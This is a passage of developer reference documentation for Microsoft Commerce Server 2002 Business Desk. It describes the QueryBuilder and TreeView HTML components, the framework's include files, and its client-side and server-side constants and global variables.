The queries are represented in an Extensible Markup Language (XML) format that can be used as is, or that can be converted (via Extensible Stylesheet Language (XSL) transforms or other methods) to other formats, such as SQL that can be used against an actual database.

This section contains:

  • Events. Describes the events supported by the QueryBuilder HTC.
  • Properties. Describes the properties supported by the QueryBuilder HTC.
  • Methods. Describes the methods supported by the QueryBuilder HTC.
  • Container Attributes. Describes the attributes that the QueryBuilder HTC expects to be set on the element in which it is contained.
  • Configuration Data. Describes the data passed to the QueryBuilder HTC via the ID used as the value of the XMLCfgID container attribute.
  • Instantiation Example. Demonstrates how the QueryBuilder HTC is instantiated in script on an ASP page.


Events

The QueryBuilder HTC supports the following events:

  • OnActive
  • OnError
  • OnQueryChange
  • OnReady

OnActive

The OnActive event fires when the QueryBuilder HTC enters the active state as a result of the Activate method being called and successfully run. This event is most useful when the QueryBuilder HTC is being activated as part of the activation of a containing control, which itself cannot be successfully activated unless all of its sub-controls have been successfully activated.

Return to top

OnError

The OnError event fires when activation of the QueryBuilder HTC fails.

Return to top

OnQueryChange

The OnQueryChange event fires when the current query changes, such as when a clause is added, deleted, or modified.

Return to top

OnReady

The OnReady event fires when the QueryBuilder HTC is fully loaded and initialized, indicating that its programmatic interface is ready to use. No properties or methods (including the Activate method) of the QueryBuilder HTC should be called before this event fires.

Return to top


Properties

The QueryBuilder HTC supports the following properties:

  • IsActive
  • IsReady

IsActive

The IsActive property indicates whether the QueryBuilder HTC is currently active. The value of this property is True when the QueryBuilder control is active, that is, when the user can interact with it. The value is False when the control is inactive.

This property is read-only.

Return to top

IsReady

The IsReady property indicates whether the QueryBuilder HTC is ready for programmatic access. The value of this property is False before the OnReady event fires, and True after that event fires. It allows polling to be used to determine whether the control is ready.

This property is read-only.

Return to top


Methods

The QueryBuilder HTC supports the following methods:

  • Activate
  • Deactivate
  • GetExprBody
  • GetExprBodyXML
  • GetProfileList
  • SetExprBody
  • SetExprBodyXML
  • SetExprListXML

Activate(bEdit)

The Activate method activates the QueryBuilder HTC. When the bEdit parameter is True, editing of the displayed query is allowed. If the bEdit parameter is False, editing is not allowed.

This method returns False if a fatal error occurs, and True otherwise.

Return to top

Deactivate

The Deactivate method deactivates the user interface of the QueryBuilder HTC without clearing the current query. It does not take any parameters or return a value.

Return to top

GetExprBody

The GetExprBody method returns a string containing an XML representation of the current query. If there is no current query, it returns NULL.

Return to top

GetExprBodyXML

The GetExprBodyXML method returns an XML DOMDocument object that represents the current query. If there is no current query, it returns nothing.

Return to top

GetProfileList

The GetProfileList method returns a Microsoft Visual Basic Scripting Edition (VBScript) SAFEARRAY containing the names of all of the profiles that are currently loaded in the QueryBuilder HTC. It does not take any parameters.

Return to top

SetExprBody(strExprBody)

The SetExprBody method allows the current query to be set. The only parameter is a string containing XML that specifies the query to be set. It returns True if it can successfully parse the query, and False if the parsing fails.

An empty string or NULL can be passed to clear the current query.

Return to top

SetExprBodyXML(xmlExprBody)

The SetExprBodyXML method allows the current query to be set. The only parameter is an XML DOMDocument object that specifies the query to be set. It returns True if it can successfully parse the query, and False if the parsing fails.

An empty XML DOMDocument object, or the "Nothing" keyword, can be passed to clear the current query.

Return to top

SetExprListXML

The SetExprListXML method allows the caller to provide the QueryBuilder HTC with a list of named expressions from which the QueryBuilder HTC can build other expressions. This method is not likely to be used when the QueryBuilder HTC is being used by itself. Rather, it exists primarily for use by the ExpressionBuilder HTC when it needs to provide the QueryBuilder HTC with a list of named expressions.

Return to top


Container Attributes

In order to pass data to the QueryBuilder HTC, the following attributes must be set on the element that is using the QueryBuilder behavior (this element is typically a DIV):

XMLCfgID
The value of this attribute must be set to the value of the id attribute of the Extensible Markup Language (XML) data-island containing the configuration information for this instance of the QueryBuilder HTC.
AutoActivate
The value of this attribute controls whether the QueryBuilder HTC automatically activates when loading is complete. Legal values are True and False. A value of True causes auto-activation to occur, and a value of False suppresses auto-activation. The default value is False.

Automatic activation allows editing of the displayed query.


Configuration Data

The QueryBuilder HTC requires that its configuration information be passed to it in the form of an Extensible Markup Language (XML) data-island. This information consists of configuration information that controls the behavior of the QueryBuilder HTC, such as what profiles and site terms are available for use in building queries.

For detailed information about the structure of this XML data-island, see QueryBuilder Configuration.

For more information about the ways in which an XML document can be included on a page (creating an XML data-island), see XML Data-Islands.


Instantiation Example

The following HTML code shows a typical instantiation of a QueryBuilder HTC within a DIV element. The Style attribute specifies that the QueryBuilder behavior be associated with this DIV element.

Note

  • In order for the Class attribute to properly identify the QueryBuilder HTC, you must make sure that your pages use the Bizdesk.css style sheet.

The XMLCfgID attribute specifies a configuration data-island that is defined elsewhere within the document. The Language attribute specifies that the QueryBuilder HTC event handlers are implemented in Microsoft Visual Basic Scripting Edition (VBScript). The remaining attributes associate methods defined elsewhere with the specific events supported by the QueryBuilder HTC. Since the AutoActivate attribute is not present, the Activate method must be called explicitly.

Finally, temporary text is provided to inform the user that the QueryBuilder HTC is loading.

  <DIV Id='myQueryBuilder'
       Class='clsQueryBldr'
       Style='behavior:url(/widgets/exprbldrHTC/QueryBuilder.htc); width:100%'
       Language='VBScript'
       XMLCfgID='DataIslandID'
       OnAction='ActionHandler()'
       OnError='ErrorHandler()'
       OnQueryChange='QueryChangeHandler()'
       OnReady='ReadyHandler()'
  >Loading QueryBuilder, please wait...</DIV>


TreeView

The TreeView HTML Component (HTC) directly translates an Extensible Markup Language (XML) hierarchy into an expandable tree structure for use in selection.

It is important to note that the TreeView HTC makes a distinction between a tree item being selected and being active. Selection is visible to the user. The most recently clicked item is the active item, which may or may not cause the item to be selected as well. The active item can also be changed programmatically without changing the selected item. Programmatically setting an active node enables you to then use several methods without having to specify the node again (enableActive, expandActive, and so on).

This section contains:

  • Events. Describes the events supported by the TreeView HTC.
  • Methods. Describes the methods supported by the TreeView HTC.
  • Container Attributes. Describes the attributes that the TreeView HTC expects to be set on the element in which it is contained.
  • Configuration Data. Describes the data passed to the TreeView HTC via the ID used as the value of the DataXML container attribute.
  • Instantiation Example. Demonstrates how the TreeView HTC is instantiated in script on an Active Server Pages (ASP) page.

The TreeView HTC does not expose any properties.


Events

The TreeView HTC supports the following events:

  • OnError
  • OnItemClose
  • OnItemExecute
  • OnItemOpen
  • OnItemSelect
  • OnItemUnselect

OnError

The OnError event fires when the TreeView HTC encounters a developer error condition. In addition, if the m_bDebug variable in the HTC is set to True, an alert box appears. This switch can be very helpful in debugging problems that occur when you get the error message "The control could not load."

The event object property window.event.error contains a string with details about the error.

Return to top

OnItemClose

The OnItemClose event fires when a container item in the tree is closed.

The event object property window.event.XMLitem contains the XML node for the item that has been closed.

Return to top

OnItemExecute

The OnItemExecute event fires when an item in the tree is double-clicked.

The event object property window.event.XMLitem contains the XML node for the item that has been double-clicked.

Return to top

OnItemOpen

The OnItemOpen event fires when a container item in the tree is opened.

The event object property window.event.XMLitem contains the XML node for the item that has been opened.

When the item being opened contains the subordinate element expand (and no other subordinate elements), the event handling routine for this event must attach arguments to the corresponding form element. When it completes, the TreeView HTC calls the reload method with its sOp parameter set to 'expand'. The tree data returned by the form response then replaces the expand element itself in the DataXML data-island, which completes the deferred loading of that section of the tree.

Return to top

OnItemSelect

The OnItemSelect event fires when an item in the tree is selected.

The event object property window.event.XMLitem contains the XML node for the item that has been selected.

Return to top

OnItemUnselect

The OnItemUnselect event fires when a selected item in the tree becomes unselected.

The event object property window.event.XMLitem contains the XML node for the item that is no longer selected.

Return to top


Methods

The TreeView HTC supports the following methods:

  • areRelated
  • enableActive
  • expandActive
  • expandAll
  • hideActive
  • reload
  • selectNode
  • setActive
  • unselectAll

areRelated(sFrom, sTo)

The areRelated method is used to determine whether the two tree items specified by the required parameters sFrom and sTo are related. In other words, one is a descendent of the other. If they are related, this method returns True. If they are not related, this method returns False.

The parameters sFrom and sTo can be either the data contained by the item, or the value of the caption attribute, in the DataXML data-island.

Return to top

enableActive(bEnable)

The enableActive method is used to enable and disable the active item based on the value of the required parameter bEnable. Legal values for bEnable are True and False. A value of True causes the active node to be enabled. A value of False causes it to be disabled.

Return to top

expandActive(bExpand)

The expandActive method is used to expand or collapse the active item based on the value of the required parameter bExpand. Legal values for bExpand are True and False. A value of True causes the active node to be expanded. A value of False causes it to be collapsed.

Return to top

expandAll(bExpand)

The expandAll method is used to expand or collapse the entire tree based on the value of the required parameter bExpand. Legal values for bExpand are True and False. A value of True causes the entire tree to be expanded. A value of False causes the entire tree to be collapsed.

Return to top

hideActive(bHide)

The hideActive method is used to hide and show the active item and its children based on the value of the required parameter bHide. Legal values for bHide are True and False. A value of True causes the active node and its children to be hidden. A value of False causes them to be shown.

Return to top

reload(sOp)

The reload method reloads the data into the TreeView HTC using an operation configured in the DataXML data-island.

The operation is identified by the required sOp parameter, which specifies the name of a child element of the operations element in the DataXML data-island. In general, the element name is an arbitrary name associated with a custom operation.

The exception is a special operation indicated by the expand element. This operation does not reload the entire tree. Rather, it replaces a particular occurrence of an expand element with the data returned from the server, effectively expanding a previously closed section of the tree. Such expansion typically occurs only once for each expand element.

The formid attribute of the matching operation element identifies the form that is posted as a result of this operation. The action attribute of the form specifies the page to which the form is posted.

Any child elements of the form are sent with the form posting.

This method does not have any return values.

Example:

elTreeView.reload("alpha_sort")

Return to top

selectNode(sValue)

The selectNode method selects the first item in the tree that has a data value or caption matching the string passed in the required parameter sValue. If no match is found, no item is selected. This method does not have any return value.

Return to top

setActive(sValue)

The setActive method looks for an item in the tree that has a data value or caption matching the string passed in the required parameter sValue, and sets the first such item as the active item. If no match is found, the currently active item, if any, remains active. This method does not have any return value.

Return to top

unselectAll

The unselectAll method unselects all items in the tree. It does not take any parameters and does not have any return value.

Return to top


Container Attributes

In order to pass data to the TreeView HTC, the following attribute must be set on the element that is using the TreeView behavior (this element is typically a DIV):

DataXML
The value of this attribute must be set to the value of the id attribute of the Extensible Markup Language (XML) data-island containing the combination of operations configuration and data to be displayed.


Configuration Data

The TreeView HTC requires that the tree to be displayed be passed to it in the form of an Extensible Markup Language (XML) data-island. This data-island contains the data to be displayed in the tree, configuration attributes about how that data should be displayed, and configuration information about any custom operations defined for this instance of the TreeView HTC. The container attribute DataXML is set to the value of the id attribute of this data-island.

It is important to note that the TreeView HTC is the only Commerce Server Business Desk HTC for which configuration information is combined into the same data-island with the data itself. In other words, there is no MetaXML container attribute to specify for the TreeView HTC. Data and configuration information are provided in a single data-island, specified by the DataXML container attribute. The nested nature of the elements provides the nesting shown in the displayed tree.

The names of all of the elements in the data-island for the TreeView HTC are arbitrary, though there are circumstances where the element name itself is displayed to the user. The XML elements and attributes in the TreeView HTC configuration may be expressed in uppercase or lowercase letters. The arbitrary elements may contain data, but need not.

For detailed information about the structure of this XML data-island, see TreeView Configuration.

For more information about the ways in which an XML document can be included on a page (creating an XML data-island), see XML Data-Islands.


Instantiation Example

The following HTML code shows a typical instantiation of a TreeView HTC within a DIV element. The Class attribute specifies that the TreeView behavior be associated with this DIV element.

Note

  • In order for the Class attribute to properly identify the TreeView HTC, you must make sure that your pages use the Bizdesk.css style sheet.

The DataXML attribute specifies the ID of the data-island that specifies the tree structure, behavior, and any special operations defined for the tree. This data-island must be defined elsewhere within the document. The Language attribute specifies that the TreeView HTC event handlers are implemented in Microsoft Visual Basic Scripting Edition (VBScript). The remaining attributes associate methods defined elsewhere with the specific events supported by the TreeView HTC.

Finally, temporary text is provided to inform the user that the TreeView HTC is loading.

  <DIV Id='myTreeView'
       Class='TreeView'
       Language='VBScript'
       DataXML='DataIslandID'
       OnError='ErrorHandler()'
       OnItemSelect='ItemSelectHandler()'
       OnItemUnselect='ItemUnselectHandler()'
       OnItemExecute='ExecuteHandler()'
       OnItemOpen='OpenHandler()'
       OnItemClose='CloseHandler()'
  >Loading TreeView, please wait...</DIV>


Include Files

The Commerce Server Business Desk Include directory contains a number of files that provide a variety of functionality for use within Business Desk modules. Not all of them are relevant to authors of Business Desk modules. The following table provides a brief description of the purpose of each relevant file in the Include directory.

File name | Description
ActionPageUtil.asp This Active Server Pages (ASP) file contains much of the implementation of the Business Desk Framework. It contains both server-side and client-side utility functions, constants, and global variables that are useful for module development.

It also performs certain universal action page initialization tasks, such as displaying the taskbar. Note that most of the functions inserted with the taskbar call into the parent frame (bizdesk.asp) in order to decreace the client code download size.

Nested include files: BizDeskPaths.asp, BizDeskStrings.asp, SharedStrings.asp.
ASPUtil.asp This ASP file contains miscellaneous functions that are useful on pages that do not need all of the display-related code that is in the file ActionPageUtil.asp. An example is a page that performs server-side processing and then redirects to another page.

This file contains localizable strings.

Nested include files: None. The file ASPUtil.asp is not dependent on code in any other file.
BDHALUtil.htm This ASP file contains code to resize buttons and select controls to uniform sizes. It is primarily intended for use in HTML dialog boxes.

Nested include files: None. The file BDHALUtil.asp is not dependent on code in any other file.
BDHeader.asp This ASP file contains code to set the codepage, response headers, and script language for HTML pages. It should be included at the top of any page that displays HTML in the Business Desk content pane.

Nested include files: None. The file BDHeader.asp is not dependent on code in any other file.
BDXMLHeader.asp This ASP file contains code to set the codepage, response headers, script language, and XML declaration node for pages that return XML. It should be included at the top of any page that returns XML to one of the Business Desk HTML Components (HTCs) that run XMLHTTP operations (for example, the ListSheet HTC and the TreeView HTC).

Nested include files: None. The file BDXMLHeader.asp is not dependent on code in any other file.
BizDesk.css This file is the cascading style sheet for Business Desk. Global changes to how Business Desk appears, such as the colors and fonts used, should be made in this file. All module action pages should specify this file as their style sheet so that they participate in any such global changes. This enhances the overall consistency of Business Desk as new modules are added.

The content for this file is generated by importing the file styles\bizdesk_css.asp. This file is determines which CSS file in the include\styles folder to use by concatenating the current theme prefix and "bizdesk.css".
BizDeskObjects.asp The routines in this file are intended for internal framework use only.

This file contains localizable strings for Business Desk developer errors that show only when initially loading the application in DEVELOPER mode.

Nested include files: None. The file BizDeskObjects.asp is not dependent on code in any other file.
BizDeskPaths.asp This ASP file contains the declarations of a number of server-side global variables that store Business Desk paths and Internet Information Server (IIS) virtual roots useful to module code. For more information about these global variables, see Server-Side Global Variables.

Nested include files: None. The file BizDeskPaths.asp is not dependent on code in any other file.
BizDeskStrings.asp This ASP file contains the definitions of string constants used within the Business Desk Framework, greatly reducing the effort required to translate the Business Desk Framework into other languages.

Refer to the include file itself for the particular constants and corresponding strings, as well as documentation about the naming convention used for the constants.

This file contains localizable strings.

Nested include files: None. The file BizDeskStrings.asp is not dependent on code in any other file.
BizDeskUtil.asp This ASP file is normally included by Business Desk module action pages. Its main purpose is to consolidate the inclusion of several other files.

It also contains code to prevent module action pages from being browsed outside the Business Desk Framework. If this code does not detect the Business Desk Framework, it redirects the page to Business Desk.

Nested include files: DBUtil.asp, ASPUtil.asp, ActionPageUtil.asp.
ClientDateUtil.asp This ASP file contains several client-side routines for working with dates.

Nested include files: None. The file ClientDateUtil.asp is not dependent on code in any other file. You must explicitly include this file to use the functions in it.
DBUtil.asp This ASP file contains a number of server-side functions for creating ActiveX Data Objects (ADO) connections, performing SQL queries, and then converting the data in the resultant Recordset objects into XML data-islands. It also provides numerous ADO constant definitions.

Nested include files: None. The file DBUtil.asp is not dependent on code in any other file.
DialogUtil.asp This ASP file is normally included by Business Desk module dialog pages. Its main purpose is to consolidate the inclusion of several other files, without the redirect code in the file BizDeskUtil.asp.

Nested include files: DBUtil.asp, ASPUtil.asp, ActionPageUtil.asp.
dlg_confirm.asp This ASP file is useful for showing a standard confirmation dialog box, and can be passed as an argument to the showModalDialog DOM method. See the file ActionPageUtil.asp for examples.

Nested include files: BDHeader.asp, SharedStrings.asp, BizDeskStrings.asp, BizDeskPaths.asp, ASPUtil.asp.
dlg_debug.htm This ASP file is useful for showing a standard debug dialog box, and can be passed as an argument to the showModalDialog DOM method. See the file HTTPXMLUtil.htm for examples.

Nested include files: None. The file dlg_debug.htm is not dependent on code in any other file.
dlg_error.asp This ASP file is useful for showing a standard error dialog box, and can be passed as an argument to the showModalDialog DOM method. See the file ActionPageUtil.asp for examples.

Nested include files: BDHeader.asp, SharedStrings.asp, BizDeskPaths.asp, ASPUtil.asp.
dlg_permissions.asp This ASP file is useful for showing a standard Business Desk permissions dialog box, and can be passed as an argument to the showModalDialog DOM method. See the file ActionPageUtil.asp for examples.

Nested include files: BDHeader.asp, DialogUtil.asp, HTTPXMLUtil.asp.
dlg_warn.asp This ASP file is useful for showing a standard warning dialog box, and can be passed as an argument to the showModalDialog DOM method. See the file ActionPageUtil.asp for examples.

Nested include files: BDHeader.asp, SharedStrings.asp, BizDeskStrings.asp, BizDeskPaths.asp, ASPUtil.asp.
HTTPXMLUtil.asp This ASP file contains a number of server-side functions for creating XML documents, adding nodes to a document in a standard way, converting an XML document to a Dictionary object and vice versa. It also provides functions for retrieving XML posted to an XMLHTTP response page.

Nested include files: None. The file HTTPXMLUtil.asp is not dependent on code in any other file.
HTTPXMLUtil.htm This HTM file contains a number of client-side functions for creating XML documents, adding nodes to a document in a standard way, converting an XML document to a Dictionary object and vice versa. It also provides functions for posting XML to an XMLHTTP response page and various server-side state routines as well (using the response_session.asp response page).

Nested include files: None. The file HTTPXMLUtil.htm is not dependent on code in any other file. You must explicitly include this file to use the functions in it.
NavTree.css This style sheet file is used by the navigation pane frame and is not intended to be linked to by any other Business Desk files.

The content for this file is generated by importing the file styles\navtree_css.asp. This file is determines which CSS file in the include\styles folder to use by concatenating the current theme prefix and "navtree.css".
response_permissions.asp | This file contains code used to set Business Desk permissions using XMLHTTP. This file is intended for internal framework use only.
response_session.asp | This file contains code used to set, get, and clear server state using XMLHTTP. Routines in this file are intended for internal framework use only.
ServerSecurityUtil.asp | This file contains routines used for server-side security.
SharedStrings.asp This ASP file contains the definitions of string constants used within multiple Business Desk modules that ship as part of Commerce Server 2002. Having such string constants centralized greatly reduces the effort required to translate them into other languages.

Refer to the include file itself for the particular constants and corresponding strings, as well as documentation about the naming convention used for the constants.

Module writers who are authoring multiple modules that share strings or functions can easily add another file for their shared code in the Common folder, provided for this purpose. Microsoft discourages adding code to the file SharedStrings.asp since this may create multiple versions for different third parties.

This file contains localizable strings.

Nested include files: None. The file SharedStrings.asp is not dependent on code in any other file.


Constants

The Commerce Server Business Desk Framework defines a variety of client-side and server-side constants that provide a means to symbolically express values that are likely to be useful when writing Business Desk modules. Wherever possible, module developers should use these constants rather than defining their own equivalent constants or using the underlying values directly.

This section contains:

  • Client-Side Constants. Provides an alphabetized list of all client-side constants provided by the Business Desk Framework.
  • Server-Side Constants. Provides an alphabetized list of all server-side constants provided by the Business Desk Framework.


Client-Side Constants

The Commerce Server Business Desk Framework defines the following client-side constants:

Error Type Constants (from file ActionPageUtil.asp):
Constants to use as the nErrorType parameter of the client-side routine ShowErrorDlg. The passed value communicates the type of the error and the type of error icon displayed by the routine.

Constants:

ERROR_ICON_ALERT, ERROR_ICON_CRITICAL, ERROR_ICON_QUESTION, ERROR_ICON_INFORMATION

Key Code Constants (from file ActionPageUtil.asp):
Constants to use as values of the window.event.keyCode variable in "onKey" handler routines, allowing the pressed key to be determined.

Constants:

KEYCODE_LEFT, KEYCODE_UP, KEYCODE_RIGHT, KEYCODE_DOWN, KEYCODE_BACKSPACE, KEYCODE_F1, KEYCODE_F2, KEYCODE_F3, KEYCODE_F4, KEYCODE_F5, KEYCODE_F6, KEYCODE_F7, KEYCODE_F8, KEYCODE_F9, KEYCODE_F10, KEYCODE_F11, KEYCODE_F12

XML DOM Element Type Constants (from file ActionPageUtil.asp):
Constants to use as values for the CreateNode method of the XMLDOM.

Constants:

NODE_ELEMENT, NODE_ATTRIBUTE, NODE_TEXT, NODE_CDATA_SECTION, NODE_ENTITY_REFERENCE, NODE_ENTITY, NODE_PROCESSING_INSTRUCTION, NODE_COMMENT, NODE_DOCUMENT, NODE_DOCUMENT_TYPE, NODE_DOCUMENT_FRAGMENT, NODE_NOTATION

Webdings Font Arrow Constants (from file ActionPageUtil.asp):
Character-code constants for elements formatted with the Webdings FONT-FAMILY. These constants correspond to left, right, up, and down arrows.

Constants:

LEFT_ARROW, RIGHT_ARROW, UP_ARROW, DOWN_ARROW


Server-Side Constants

The Commerce Server Business Desk Framework defines the following server-side constants:

Environment Mode Constants (from file BizDeskUtil.asp):
Constants used to set the MSCSEnv variable in the Global.asa file. PRODUCTION mode sets all debug flags to values that should be used for Business Desk in a production environment. DEVELOPMENT mode sets the debug flags to allow greater feedback and functionality useful when developing new Business Desk modules.

Constants:

PRODUCTION, DEVELOPMENT

These two constants control the inidividual settings of the following six Boolean variables that control various aspects of the Business Desk behavior: VERBOSE_OUTPUT, SHOW_OBJECT_ERRORS, AUTO_REDIRECT_ENABLED, FORCE_HTA_ONLY, ALLOW_CONTEXT_MENUS, and SHOW_DEBUG_TEXT. Refer to the file Global.asa for additional details.

Error Type Constants (from file ASPUtil.asp):
Constants to use as the nErrorType parameter of the server-side routine SetError. The passed value communicates the type of the error and the type of error icon displayed by the routine.

Constants:

ERROR_ICON_ALERT, ERROR_ICON_CRITICAL, ERROR_ICON_QUESTION, ERROR_ICON_INFORMATION

Key Code Constants (from file ActionPageUtil.asp):
Constants to use as values of the window.event.keyCode variable in "onKey" handler routines, allowing the pressed key to be determined.

Constants:

KEYCODE_LEFT, KEYCODE_UP, KEYCODE_RIGHT, KEYCODE_DOWN, KEYCODE_BACKSPACE, KEYCODE_F1, KEYCODE_F2, KEYCODE_F3, KEYCODE_F4, KEYCODE_F5, KEYCODE_F6, KEYCODE_F7, KEYCODE_F8, KEYCODE_F9, KEYCODE_F10, KEYCODE_F11, KEYCODE_F12

XML DOM Element Type Constants (from file ActionPageUtil.asp):
Constants to use as values for the CreateNode method of the XMLDOM.

Constants:

NODE_ELEMENT, NODE_ATTRIBUTE, NODE_TEXT, NODE_CDATA_SECTION, NODE_ENTITY_REFERENCE, NODE_ENTITY, NODE_PROCESSING_INSTRUCTION, NODE_COMMENT, NODE_DOCUMENT, NODE_DOCUMENT_TYPE, NODE_DOCUMENT_FRAGMENT, NODE_NOTATION

ADO Constants (from file DBUtil.asp):
Constants to use with ActiveX Data Objects (ADO), such as command types, cursor types, lock types, and so on.

Constants:

Refer to the file DBUtils.asp for details.
Special Date Splitting Constants (from file DBUtil.asp):
A special constant to use in the formatting Dictionary object passed to the Recordset-to-XML conversion routines. It is used to indicate that a single ADO datatime field should be split into two separate fields for separate editing in date and time EditField HTCs. The date portion will be placed in an Extensible Markup Language (XML) element named date_colId and the time portion will be placed in an XML element named time_colId.

Constants:

COMMERCE_SPLIT_DATE

XML Conversion Routine Constant (from file DBUtil.asp):
Constant to use as the recordcount parameter to Recordset-to-XML conversion routines, indicating that the recordset should not be counted.

Constants:

TOO_BIG_TO_COUNT

Locale Constants (from file DBUtil.asp):
Constants to use with the DataFunctions object GetLocaleInfo method.

Constants:

LOCALE_SDECIMAL, LOCALE_STHOUSAND

Webdings Font Arrow Constants (from file ActionPageUtil.asp):
Character-code constants for elements formatted with the Webdings FONT-FAMILY. These constants correspond to left, right, up, and down arrows.

Constants:

LEFT_ARROW, RIGHT_ARROW, UP_ARROW, DOWN_ARROW


Global Variables

The Commerce Server Business Desk Framework defines a variety of client-side and server-side global variables that are initialized to values that are useful when writing Business Desk modules. Wherever possible, module developers should use the values already in these global variables rather than constructing their own equivalents.

This section contains:

  • Client-Side Global Variables. Provides an alphabetized list of all client-side global variables provided by the Business Desk Framework.
  • Server-Side Global Variables. Provides an alphabetized list of all server-side global variables provided by the Business Desk Framework.


Client-Side Global Variables

The Commerce Server Business Desk Framework defines the following client-side global variables:

g_bDirty
A Boolean value indicating whether any fields on the page have changed since the last save operation. True indicates that changes have been made since the last save operation, and False indicates that no changes have been made.

This variable is declared and initialized to False in the file ActionPageUtil.asp, and its scope is the action page itself.

g_bRequired
A Boolean value indicating whether any fields on the page still require values to be provided. True indicates that at least one required field does not yet have a value, and False indicates that all required fields have values.

This variable is declared and initialized to False in the file ActionPageUtil.asp, and its scope is the action page itself.

g_bUnloading
A Boolean used to indicate when the page is unloading because a task button was clicked. This forces the framework to suppress the display of the normal Internet Explorer unloading page warning that is displayed after the user clicks the close button for Business Desk.
g_bValid
A Boolean value indicating whether any fields on the page contain values that are not valid. False indicates that one or more fields have a value that is not valid, and True indicates that all fields contain valid values.

This variable is declared and initialized to True in the file ActionPageUtil.asp, and its scope is the action page itself.

g_nFindByHeight
An integer height in pixels for the find pane, initially set to 55 pixels. This variable is set by the SetFindByHeight routine before the ShowFindBy routine is called to display it.


Server-Side Global Variables

The Commerce Server Business Desk Framework defines the following server-side global variables:

ALLOW_CONTEXT_MENUS
A Boolean value that controls whether normal right-click menus will be disabled within Business Desk. A value of True allows normal right-click menus, and a value of False suppresses normal right-click menus.

In the Global.asa file, when the variable MSCSEnv is set to PRODUCTION, the variable ALLOW_CONTEXT_MENUS is set to False. When the variable MSCSEnv is set to DEVELOPMENT, the variable ALLOW_CONTEXT_MENUS is set to True.

There is also an Application object variable with the same name as this global variable.

AUTO_REDIRECT_ENABLED

A Boolean value that controls whether action pages can be displayed outside the Business Desk Framework. A value of True causes any such attempt to be redirected to Business Desk, and a value of False suppresses this redirection behavior.

In the Global.asa file, when the variable MSCSEnv is set to PRODUCTION, the variable AUTO_REDIRECT_ENABLED is set to True. When the variable MSCSEnv is set to DEVELOPMENT, the variable AUTO_REDIRECT_ENABLED is set to False.

There is also an Application object variable with the same name as this global variable.

FORCE_HTA_ONLY
A Boolean value that controls whether an attempt to run Business Desk outside of an HTML application (HTA) environment will result in an error being displayed. A value of True causes any such attempt to result in an error being displayed, and a value of False suppresses this error display behavior.

In the Global.asa file, when the variable MSCSEnv is set to PRODUCTION, the variable FORCE_HTA_ONLY is set to True. When the variable MSCSEnv is set to DEVELOPMENT, the variable FORCE_HTA_ONLY is set to False.

There is also an Application object variable with the same name as this global variable.

By default, when the Business Desk is in Production mode, you must use the HTML Application. However, you can change this by editing the Global.asa in the Business Desk virtual directory; the following line must be changed:

' original Global.asa code disallowing linking in production mode
FORCE_HTA_ONLY = true

To link to the Business Desk at Business Desk at http: //<servername>/<Business Desk Site name>/bizdesk.asp, change this line of code to:

' revised Global.asa code allowing linking in production mode
FORCE_HTA_ONLY = false
g_dActionPage
A reference to a Dictionary object containing the configuration information for the current page, such as the tasks associated with the action that the page implements.

The Dictionary object accessed through this global variable is created in the file ActionPageUtil.asp by calling the routine dGetAction. The scope of the variable is the action page itself.

g_imgInvalid
A string containing HTML that displays the icon used to indicate a value is not valid in edit pages.
g_imgLoadingAnimation
A string containing HTML that displays the loading animation icon.
g_imgRequired
A string containing HTML that displays the required icon used in edit pages.
g_imgWorld
A string containing HTML that displays the world (multi-lingual) icon used in edit pages.
g_MSCSAdminEventLog
A reference to an object (ProgID = Commerce.AdminEventLog) that provides a mechanism for writing errors to the event log. For more information, see AdminEventLog Object.

Do not call the Initialize method on this shared object.

The object accessed through this global variable is created and initialized in the ActionPageUtil.asp file, and its scope is Session.

g_MSCSAppConfig
A reference to an object (ProgID = Commerce.AppConfig) that provides a mechanism for reading application configuration values. For more information, see AppConfig Object.

Do not call the Initialize method on this shared object.

The object accessed through this global variable is created and initialized in the Global.asa file, and its scope is Application.

g_MSCSBizDeskRoot
A string containing the virtual root name for the current instance of Business Desk.

This variable is declared and initialized in the file BizDeskPaths.asp, and its scope is the action page itself. It is initialized to the value of the Application object setting the variable MSCSBizDeskRoot, which is read from the file Csapp.ini in the Global.asa file.

g_MSCSBizDeskSecurity
A reference to an object (ProgID = Commerce.BizDeskSecurity) that provides a mechanism for filtering the contents of the navigation frame based on the identity of the user. For more information, see BizDeskSecurity Object.

The object accessed through this global variable is created and initialized in the Global.asa file, and its scope is Session.

g_MSCSConfiguration
A reference to an object (ProgID = Commerce.SiteConfigReadOnly) that is instantiated with the site name and is used to retrieve site configuration information from the site store. For more information, see SiteConfigReadOnly Object.

Do not call the Initialize method on this shared object.

The object accessed through this global variable is created and initialized in the Global.asa file, and its scope is Application.

g_MSCSCurrencyLocale
The currency locale ID (LCID) from the Site Configuration Store.

This variable is declared and initialized in the file ActionPageUtil.asp, and its scope is the action page itself. It is initialized to the value of the Application object setting the variable MSCSCurrencyLocale, which is read from the site store in the Global.asa file.

The global variable g_DBCurrencyLocale, set in the file DBUtil.asp, contains the same value.

g_MSCSDataFunctions
A reference to an object (ProgID = Commerce.DataFunctions) that provides generic data functions, such as for data formatting and validation. For more information, see DataFunctions Object.

Do not reset the locale property on this shared object.

The object accessed through this global variable is created and initialized in the Global.asa file, and its scope is Application.

g_MSCSDefaultLocale
The default LCID from the Site Configuration Store.

This variable is declared and initialized in the file ActionPageUtil.asp, and its scope is the action page itself. It is initialized to the value of the Application object setting the variable MSCSDefaultLocale, which is read from the site store in the Global.asa file.

The global variable g_DBDefaultLocale, set in the file DBUtil.asp, contains the same value.

g_MSCSEnv
A number set to one of the server-side constants PRODUCTION or DEVELOPMENT.

Based on the setting of the MSCSEnv variable in the Global.asa file, the default values for the following global variables are established:

VERBOSE_OUTPUT

SHOW_OBJECT_ERRORS

AUTO_REDIRECT_ENABLED

FORCE_HTA_ONLY

ALLOW_CONTEXT_MENU

This global variable is defined and initialized in the file BizDeskUtil.asp. It is initialized to the value of the Application object variable MSCSEnv, which is set in the Global.asa file.

g_MSCSMessageManager
Contains a reference to an object (ProgID = Commerce.MessageManager) that provides a mechanism for retrieving user interface strings from a centralized location. For more information, see MessageManager Object.

Do not reset the DefaultLanguage property on this shared object.

The object accessed through this global variable is created and initialized in the Global.asa file, and its scope is Application.

g_mscsPage
A reference to an object (ProgID = Commerce.Page) that contains useful page helper functions. For more information, see Page Object.

The object accessed through this global variable is created and initialized in the file ActionPageUtil.asp, and the scope of the variable is the action page itself.

g_MSCSSiteName
A string containing the name of the site corresponding to this instance of Business Desk.

